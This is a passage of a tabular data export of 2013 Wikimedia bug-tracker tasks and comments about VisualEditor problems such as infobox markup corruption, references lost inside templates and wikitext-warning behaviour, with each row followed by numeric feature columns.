+http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=572065469
+
+Open the article in the visual editor, e.g. by visiting https://en.wikipedia.org/wiki/Whydah_Gally?veaction=edit
+Observe the article now leads with the out-of-place text 
+ <nowiki>class=""infobox "" style=""float: right; clear: right; width: 315px; border-spacing: 2px; text-align: left; font-size: 90%;""</nowiki>
+try to click ""save page"" but note that it is not active
+make a trivial change so that ""save page"" is active.  Click it
+Click ""review your changes"", not that it says that
+<nowiki>{{Italic title}}{|{{Infobox ship begin}}</nowiki>
+was replaced with
+<nowiki>{{Italic title}}{{Infobox ship begin}}
+{|{{Infobox ship begin}}</nowiki>
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1378673760,1386015391.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,False,PHID-TASK-lxnv4tg7oifuczocddhi,task_description,resolved,True,c1,3,False,False,False,9,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+247739,Templates and tables {{infobox ship begin}},"
+
+*** This bug has been marked as a duplicate of bug 53139 ***",,,1386015391,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-lxnv4tg7oifuczocddhi,task_subcomment,,True,c1,3,True,,,22,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+247733,Templates and tables {{infobox ship begin}},"Thanks for filing the report. We should have a fix for the edit corruption bug soon (it will be fixed as part of a patch that Arlo is working on). More later on the other parts of the bug, once we discuss how to handle this.",,,1378861053,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-lxnv4tg7oifuczocddhi,task_subcomment,,True,c1,3,True,,,10,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+55896,VisualEditor: Disallow media items in other media items' captions,"This is a strange edit, where a new editor inserted an image in the image description of an existing image. A bug or something that should be able to be done? 
+
+https://sv.wikipedia.org/w/index.php?title=Dry_Martini&diff=prev&oldid=23709630
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1378584900,1383759108.0,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,False,PHID-TASK-zomjkczfpnrvxzpe4yzr,task_description,invalid,True,c1,3,False,False,False,9,,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0
+246157,VisualEditor: Disallow media items in other media items' captions,"Yeah, this is valid (if odd) wikitext, and so VisualEditor supports it.",,,1383759108,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zomjkczfpnrvxzpe4yzr,task_subcomment,,True,c1,3,True,,,18,,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+246152,VisualEditor: Disallow media items in other media items' captions,"I can't think where off the top of my head, but I have seen small inline images in image descriptions at en.wp before. I think it was being used as a key for the main image or something like that.
+
+It's not common, but its the sort of thing that could be useful on occasion.",,,1379685701,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-zomjkczfpnrvxzpe4yzr,task_subcomment,,True,c1,3,False,,,11,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+55891,"When editing an infobox, the labels are sorted alphabetically and not in the original order","**Author:** `lionel.allorge`
+
+**Description:**
+In an infobox, items are in a certain logical order, for exemple, the image item and the caption are next to each other but the VisualEditor sort them alphabetically making it more difficult to find them.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: Linux
+**Platform**: PC",Needs Triage,90.0,1378551060,1380655447.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-hesseird5ugq7qigg32p,task_description,resolved,True,c1,3,False,False,False,9,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,1,0,0
+245698,"When editing an infobox, the labels are sorted alphabetically and not in the original order","Indeed, this is not optimal. I'm marking this as a duplicate of bug 51930 which offers a way to sort this. Unfortunately that depends on bug 53608 which is presently not assigned to anyone to work on.
+
+*** This bug has been marked as a duplicate of bug 51930 ***",,,1380655447,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-hesseird5ugq7qigg32p,task_subcomment,,True,c1,3,False,,,13,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+55889,AssessmentBar gadget clashes with VisualEditor edit surface,"Bug pic
+
+Should this happen or shouldn't it?
+Btw, steps:
+1*  Install AssessmentBar from https://en.wikipedia.org/wiki/User:YuviPanda/AssessmentBar
+2* Go to an article.
+3* Go down to a picture or find the infobox.
+4* Click on the picture or infobox (when it's halfway through the AssessmentBar) and it will highlight the AssessmentBar (treating it like a picture or an infobox) AND/OR Click on the part of the AssessmentBar where the picture or infobox is getting highlighted and the infobox or picture will get selected instead of the AssessmentBar.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11559}",Needs Triage,90.0,1378540620,1378918457.0,PHID-USER-wel3wo6tppcxgnrthxls,False,,False,PHID-TASK-djpv4d2tw7he7bcaiwgo,task_description,invalid,True,c1,3,False,False,True,9,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+245605,AssessmentBar gadget clashes with VisualEditor edit surface,"Thanks.
+As we don't track specific gadgets in Bugzilla this should likely be reported under https://en.wikipedia.org/wiki/User_talk:YuviPanda/AssessmentBar instead.
+
+Closing as INVALID because Bugzilla is not the right place to follow up on user scripts, not because there is no bug that should get fixed.",,,1378918457,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-djpv4d2tw7he7bcaiwgo,task_subcomment,,True,c1,3,True,,,10,,0,0,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+245600,AssessmentBar gadget clashes with VisualEditor edit surface,"Moving out of VisualEditor; in general, gadgets have to be made to work with VisualEditor and not the other way around.",,,1378914055,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-djpv4d2tw7he7bcaiwgo,task_subcomment,,True,c1,3,True,,,10,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+245595,AssessmentBar gadget clashes with VisualEditor edit surface,CC'ing Yuvi as this covers AssessmentBar,,,1378909636,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-djpv4d2tw7he7bcaiwgo,task_subcomment,,True,c1,3,True,,,10,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+55856,VisualEditor: weird behavior with double square brackets,"Try to start a line with a wikilinked word as you might do in the source editor.
+
+1) Typing the opening double square brackets will not trigger the no-markup warning.
+2) The opening brackets will immediately disappear, the closing ones will stay.
+3) When you reach the second closing bracket, VE will also add another one on the following line. (If instead of moving to step 4 you use the keyboard arrows around the word, you will not be able anymore to type something outside the brackets, and will need your mouse to place yourself outside of them).
+4) Keep typing something instead, then press Enter: whatever you added is automatically copied to the next line, while the ""third"" square bracket is furtherly moved onto the next line.
+5) Now add the brackets to an already existing word, correctly triggering the warning. Save anyway.
+6) Review the changes. The brackets that triggered the warning did not trigger the nowiki tags as well. An opening one and a closing one are gone, and what is left is weird anyway. (This can also be triggered before saving by hitting Back Space, but I can't say where).
+The brackets that we added in the first place are all gone, the duplicated text is gone as well, just a lonely closing bracket stands still.
+
+https://it.wikipedia.org/w/index.php?title=Utente%3AElitre_%28WMF%29%2FSandbox_VE&diff=61362482&oldid=61361463
+
+Reminds me of https://bugzilla.wikimedia.org/show_bug.cgi?id=53079, actually.
+Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=57207",Needs Triage,90.0,1378482300,1383759476.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-ktfyzhjkb3urubsydtou,task_description,declined,True,c1,3,False,False,False,9,,1,1,0,1,1,1,1,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,1,0,1,0,0,1,1,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,0,0,0,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+243320,VisualEditor: weird behavior with double square brackets,"I think this may have been a cacheing error? I can't reproduce, but it feels a lot like bug 53079, yes.",,,1383759476,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ktfyzhjkb3urubsydtou,task_subcomment,,True,c1,3,True,,,18,,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,0
+55853,"VisualEditor: Editor changed a parameter in a template, but the parameter was removed when they clicked ""Apply Changes""","A user at it.wp reports that he could not successfully replace a picture with this edit https://it.wikipedia.org/w/index.php?title=Castello_di_Serravalle_%28Bosa%29&diff=61339995&oldid=61339964, although he managed to do so on other occasions, so he knows how it works.
+He just replaced Bosa Castle.jpg with Veduta del Castello.JPG, and correctly previewed the latter.
+But upon saving, the pic was gone - the field is empty. He tried again later, and managed to reproduce this behavior.
+Other users, including me, are not able to reproduce this.
+He's using Chrome with Snow Leopard. Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=62366",Needs Triage,90.0,1378478400,1383758872.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-53pjjq3mogcsnoshnrpu,task_description,declined,True,c1,3,False,False,False,9,,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+243167,"VisualEditor: Editor changed a parameter in a template, but the parameter was removed when they clicked ""Apply Changes""","I can't quite understand this bug report - the user edited the template, changed the parameter for the image name, but when they applied the changes, the parameter was removed (and so no image)?
+
+I'm going to mark as WORKSFORME, but please re-open if anyone can reproduce.",,,1383758872,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-53pjjq3mogcsnoshnrpu,task_subcomment,,True,c1,3,True,,,18,,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+55839,"VisualEditor: Wikitext warning not triggered by <references />, <i>, etc.","en.wp user Fram reports:
+""When I add something that VE decides needs ""nowiki"", it usually gives the warning ""Wikitext markup detected"". However, when I add <references/> to the bottom of a page, he wraps it in ""nowiki""s, but no warning appears (while it does work with e.g. {{reflist}})""
+
+My testing at https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox2&diff=571756019&oldid=570197356 shows that <i> and <small> also get nowikied without triggering the warning.
+
+<!-- --> neither triggers the warning nor gets nowikied. I am about to start a discussion about whether that is desired or not.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=56213",Needs Triage,90.0,1378458780,1383758460.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-5usozn6lenkcoenzeuyk,task_description,declined,True,c1,3,False,False,False,9,,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+242407,"VisualEditor: Wikitext warning not triggered by <references />, <i>, etc.","This is intentional; adding a complete set of wikitext detection would be very burdensome (i.e. slow VE down for users) without adding a lot of value.
+
+People who know complex things like HTML or advanced wikitext like <references /> will quickly learn that it doesn't work; this functionality is an aide-memoire for  newbies and rare users.
+
+Marking as WONTFIX, but happy to discuss.",,,1383758460,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5usozn6lenkcoenzeuyk,task_subcomment,,True,c1,3,True,,,18,,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+55777,De.WP's quote template eats refs (or gets eaten),"The German template for quotes:
+
+https://de.wikipedia.org/wiki/Vorlage:Zitat
+
+eats refs, or rather their display at the end of the article, if the refs are inserted in it & the article is loaded in VE. Example articles:
+
+https://de.wikipedia.org/wiki/Arvo_P%C3%A4rt -> ref 5 & 8
+
+https://de.wikipedia.org/wiki/The_Rolling_Stones -> 26, 123-125
+
+https://de.wikipedia.org/wiki/Chick_Corea -> ref 12
+
+Report:
+
+https://de.wikipedia.org/w/index.php?title=Wikipedia:Technik/Text/Edit/VisualEditor/Beta2013-07&oldid=122231626#Einzelnachweise_am_Artikelende_werden_im_VE_nicht_angezeigt
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50474",Needs Triage,90.0,1378330980,1383003781.0,PHID-USER-wswkm7jrcwes3tc7o34k,True,,False,PHID-TASK-gcsogk6cy5vhnwnvhuql,task_description,resolved,True,c1,3,False,False,False,9,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+239324,De.WP's quote template eats refs (or gets eaten),"Merging this with bug 50474 which I have managed to determine that this is the same as that.
+
+*** This bug has been marked as a duplicate of bug 50474 ***",,,1383003781,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-gcsogk6cy5vhnwnvhuql,task_subcomment,,True,c1,3,True,,,17,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+239318,De.WP's quote template eats refs (or gets eaten),"Updates:
+
+Rolling Stones: The section Discografie
+
+https://de.wikipedia.org/wiki/The_Rolling_Stones#Diskografie
+
+includes another article inserted as template:
+
+https://de.wikipedia.org/wiki/The_Rolling_Stones/Disko-_und_Videografie
+
+However, the article isn't displayed in full but only relevant parts, picked by  onlyinclude-tags.
+
+Shine a Light: The issue not included in a template is caused by something VE apparently can't handle in spelling out the ref name but Wikicode can: ""_"" vs "" "":
+
+https://de.wikipedia.org/w/index.php?title=Shine_a_Light&diff=prev&oldid=122747897
+
+The other two are eaten by the template, i.e. the same source is also referred to in refs outside the template and VE simply doesn't count the template-inserted refs.",,,1380840894,,PHID-USER-wswkm7jrcwes3tc7o34k,True,,,PHID-TASK-gcsogk6cy5vhnwnvhuql,task_subcomment,,True,c1,3,False,,,13,,0,1,0,1,1,1,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+239312,De.WP's quote template eats refs (or gets eaten),This looks like a side effect of the underlying problem in bug 50474.,,,1380552169,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-gcsogk6cy5vhnwnvhuql,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+239305,De.WP's quote template eats refs (or gets eaten),"Chances are this issue is systemic; three more examples:
+
+1) Info box for movie articles:
+
+https://de.wikipedia.org/wiki/Vorlage:Infobox_Film
+
+includes three refs in 
+
+https://de.wikipedia.org/wiki/Shine_a_Light
+
+and they all get eaten if the entry is loaded in VE.
+
+2) Info box for corporate entities:
+
+https://de.wikipedia.org/wiki/Vorlage:Infobox_Unternehmen
+
+see the first four refs in 
+
+https://de.wikipedia.org/wiki/Sony
+
+3) https://de.wikipedia.org/wiki/Vorlage:Infobox_Chemikalie
+
+eats the two included refs in:
+
+https://de.wikipedia.org/wiki/Magnesiumcarbonat",,,1378501325,,PHID-USER-wswkm7jrcwes3tc7o34k,True,,,PHID-TASK-gcsogk6cy5vhnwnvhuql,task_subcomment,,True,c1,3,False,,,9,,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1
+239300,De.WP's quote template eats refs (or gets eaten),"from the report:
+
+* a) {{<ref>source a</ref>}} -> eats ref completely
+
+in all other reported cases:
+
+* b) {<ref>source b</ref>} 
+* c) {{<ref>source c</ref>
+* d) {<ref>source d</ref> 
+* e) {{<ref>source a</ref>}.
+
+VE tells the user once ""This is Wikitext"" but then carries on; see test page:
+
+https://de.wikipedia.org/w/index.php?title=Benutzerin:Miss-Sophie/Spielwiese&oldid=122231700",,,1378331713,,PHID-USER-wswkm7jrcwes3tc7o34k,True,,,PHID-TASK-gcsogk6cy5vhnwnvhuql,task_subcomment,,True,c1,3,False,,,9,,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+55775,VisualEditor: Corruption: Leading whitespace removed from pre block,"See https://en.wikipedia.org/w/index.php?title=Epigram_%28programming_language%29&oldid=567048374&veaction=edit and click ""save"" (note that save box warns about corruption) and then ""view changes"" (ignoring the changes I have since made). The pre block has been corrupted.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: Linux
+**Platform**: PC",Needs Triage,90.0,1378330500,1379613849.0,PHID-USER-bug3zrlooz3bdmi4fyl7,False,,False,PHID-TASK-wf4d3yulifq7pdamnvpv,task_description,resolved,True,c1,3,False,False,True,9,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,0,0,0,1,0,0,0
+239169,VisualEditor: Corruption: Leading whitespace removed from pre block,"
+
+*** This bug has been marked as a duplicate of bug 54083 ***",,,1379613849,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-wf4d3yulifq7pdamnvpv,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+55729,Request for edit summary preview,"A De.WP user suggested to include a preview for the edit summary. Report:
+
+https://de.wikipedia.org/w/index.php?title=Wikipedia:Technik/Text/Edit/VisualEditor/Beta2013-07&oldid=122207411#Vorschau_f.C3.BCr_Zusammenfassung_und_Quellen
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1378253700,1380545659.0,PHID-USER-wswkm7jrcwes3tc7o34k,True,,False,PHID-TASK-uro44a5vqso2sy7u2arn,task_description,resolved,True,c1,3,False,False,True,9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+235899,Request for edit summary preview,"
+
+*** This bug has been marked as a duplicate of bug 42139 ***",,,1380545659,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-uro44a5vqso2sy7u2arn,task_subcomment,,True,c1,3,False,,,13,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+55699,VisualEditor: adding section for references will suppress the Related Articles one,"See https://it.wikipedia.org/w/index.php?title=Bisanzio_Lupis&diff=61160806&oldid=51778070 .
+
+When creating a section for references and adding the relevant tag,
+it will suppress the Related Articles section - just the heading, not the content.
+
+I reproduced it easily in my sandbox by just adding the contents that you can see in the diff above.
+Note that it is not related to the reference being added in the same edit; here for instance https://it.wikipedia.org/w/index.php?title=Utente%3AElitre_%28WMF%29%2FSandbox_VE&diff=61285258&oldid=61285224 it was added previously.
+
+Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1378206960,1425487289.0,PHID-USER-wil4b5lylrvf3krixlkl,True,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-ez3lf5ze2ra5vwgm2kwo,task_description,resolved,True,c1,3,False,False,False,9,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+501332,VisualEditor: adding section for references will suppress the Related Articles one,Making resolved instead because it probably //was// a problem in 2013 :),,,1438627770,,PHID-USER-vixhpqcaqfpdj6impfwy,True,,,PHID-TASK-ez3lf5ze2ra5vwgm2kwo,task_subcomment,,True,c1,3,True,,,109,,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+501331,VisualEditor: adding section for references will suppress the Related Articles one,Making resolved instead because it probably //was// a problem in 2013.,,,1438627757,,PHID-USER-vixhpqcaqfpdj6impfwy,True,,,PHID-TASK-ez3lf5ze2ra5vwgm2kwo,task_subcomment,,True,c1,3,True,,,109,,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+422160,VisualEditor: adding section for references will suppress the Related Articles one,"Yup, can't reproduce this one.",,,1425653133,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-ez3lf5ze2ra5vwgm2kwo,task_subcomment,,True,c1,3,False,,,87,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+420845,VisualEditor: adding section for references will suppress the Related Articles one,"Closing task as declined as per last two comments as nobody managed to reproduce.
+
